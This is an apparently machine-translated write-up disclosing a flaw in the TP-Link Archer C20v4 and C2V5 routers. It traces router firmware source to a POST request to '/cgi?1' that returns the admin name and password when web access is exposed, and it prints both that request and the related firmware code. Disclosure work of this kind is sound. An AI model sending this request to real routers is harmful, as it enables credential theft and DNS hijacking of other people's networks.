Hacking with the substitution of dns is a fairly common method of attack. First of all because of its simplicity. The essence of the attack is to change the dns address in the settings of the victim's network equipment to the address of the attacker's dns server in order to return false ip. And already further, who is in that much - from the banal phishing pages of social networks to steal passwords to the alleged provider of the stub with the requirements of payment.
The most interesting thing in all of this is, I think, the ways in which bots, one way or another, fall on routers. And today I will talk about one of these methods.
What we have:
- The new Archer c20v4 router, just out of the box, with the latest official firmware.
- External ip address on the wan interface and open web access.
- A sufficiently complex password to not worry about his selection and a limited circle of people who know it.
- After a day: the substitution of dns and all requests are wrapped around the stub.
What do you need:
Find out how to access the device.
')
First of all, all known old bugs that were found in Google were tested on the test patient. Of course nothing worked.
A script was found on the githab (
tyk ) that allows you to remotely, from the root, execute commands on models C20i and C2. A bit is not what we need, but set the right direction.
All functions had the same “shells” for requests - these are POST requests for url
/ cgi? 2 (and 7), "
[setup_name # 0,0,0,0,0,0,0,0,0,0,0,0 , 0] "and a special
referer .
We download the source codes of our firmware from the official tp-link site and unpack it. Since a line of routers is the same, then the software should be at least a bit similar, right?
grepgrep -Hrn "/cgi?2" ---------------------------------------------- ../../setPwd.htm:278: xmlHttpObj.open("POST", "/cgi?2", true);
Bingo. The file name as if hints that further will be very interesting. We find a line in the code in which we saw the cherished "cgi? 2". The following is the entire function:
doSetUsrName function doSetUsrName() { var xmlHttpObj; var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName=" + $("newUsr").value + "\r\n"; xmlHttpObj = getHttpObject(function() { if (xmlHttpObj.status == 200) { getUsrName(); } else return; }); xmlHttpObj.open("POST", "/cgi?2", true); xmlHttpObj.send(args); }
This function, when executed, calls another - getUsrName ().
Login function:
getUsrName function getUsrName() { var xmlHttpObj; var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName\r\n"; xmlHttpObj = getHttpObject(function() { if (xmlHttpObj.status == 200) { currUserName = xmlHttpObj.responseText.split("\n")[1].replace("adminName=", ""); doSetPassword(); } else return; }); xmlHttpObj.open("POST", "/cgi?1", true); xmlHttpObj.send(args); }
But just to do nothing with the login. We are interested in the password. We know that the login is stored in the variable adminName, inside the USER_CFG object. Searching the source gave the following results: (I will leave only the desired result)
Grep output grep -Hrn USER_CFG ------------------------ sysfiles/config/en/common/reduced_data_model.xml
Open
reduced_data_model.xml and find the following code fragment in it:
XML <X_TP_UserCfg t=or=P s=USER_CFG_OBJ h=1 > <RootName t=sr=R l=16 al=cli h=1 /> <RootPwd t=sr=R l=16 al=cli h=1 /> <AdminName t=sr=W l=16 al=cli d=admin h=1 /> <AdminPwd t=sr=W l=16 al=cli d=admin h=1 /> <UserName t=sr=W l=16 al=cli h=1 /> <UserPwd t=sr=W l=16 al=cli h=1 /> </X_TP_UserCfg>
Here we have the variable “AdminName” known to us and next to it is AdminPwd. It looks like the truth.
Now it remains for us to form a valid POST request, to which the router will answer us with the necessary data. Let’s look at the githabb script again and see how it’s done there:
data data = ( "[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\n" "dataBlockSize=64\r\n" "timeout=1\r\n" "numberOfRepetitions=1\r\n" "host=127.0.0.1\r\n" "X_TP_ConnName=ewan_ipoe_s\r\n" "diagnosticsState=Requested\r\n" )
By analogy, we form your request:
data "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2\r\n" "adminName\r\n" "adminPwd\r\n"
Iiiii ship. In Wireshark'e package looks like this:
See the answer:
The attentive reader will notice that the POST request was sent to "/ cgi? 1", and not as in the script to "/ cgi? 2". That's right. We just need to know the password. After receiving the data for authorization, you can deal with the already shaped disgrace.
Log in:
And already authorized we rip off any data that we only consider important by looking at the reduced_data_model.xml file:
At the moment, the source codes of the C20v4 router have been removed from the Tp-Link site and the V5 codes are posted instead. But unfortunately, there is no official firmware yet.
Good news: This vulnerability is exploited only if web access is open to all.
The bad news: someone's bots are already knocking on external addresses with the correct requests.
In addition to the
ArcherC20V4 model
, this vulnerability also affects the
ArcherC2V5 model
.